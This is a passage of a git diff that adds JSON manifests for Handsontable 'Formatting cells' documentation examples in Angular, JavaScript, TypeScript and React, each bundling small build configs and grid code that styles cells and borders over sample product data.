build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer, textRenderer } from 'handsontable/renderers';\n\nregisterRenderer('customStylesRenderer', (hotInstance: Handsontable, TD: HTMLTableCellElement, row: number, col: number, prop: string | number, value: unknown, cellProperties: Handsontable.CellProperties) => {\n textRenderer(hotInstance, TD, row, col, prop, value, cellProperties);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n});\n\n@Component({\n selector: 'example3-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example3.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example1.js.json new file mode 100644 index 00000000..2ce467fc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/javascript/example1.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example1.ts.json new file mode 100644 index 00000000..7f5c360c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/javascript/example1.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example2.js.json new file mode 100644 index 00000000..80dc709e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\n// register Handsontable's modules\nregisterAllModules();\nconst customStylesRenderer = (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n};\nregisterRenderer('customStylesRenderer', customStylesRenderer);\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example2.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example2.ts.json new file mode 100644 index 00000000..7fa85b92 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst customStylesRenderer: BaseRenderer = (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n};\n\nregisterRenderer('customStylesRenderer', customStylesRenderer);\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example2.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example3.js.json new file mode 100644 index 00000000..752eec7c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n autoWrapRow: true,\n autoWrapCol: true,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example3.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example3.ts.json new file mode 100644 index 00000000..04490db5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n autoWrapRow: true,\n autoWrapCol: true,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example3.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example1.tsx.json new file mode 100644 index 00000000..cb879d42 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/react/example1.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example2.tsx.json new file mode 100644 index 00000000..52f78585 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n registerRenderer('customStylesRenderer', (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/formatting-cells/react/example2.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example3.tsx.json new file mode 100644 index 00000000..75968227 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · React 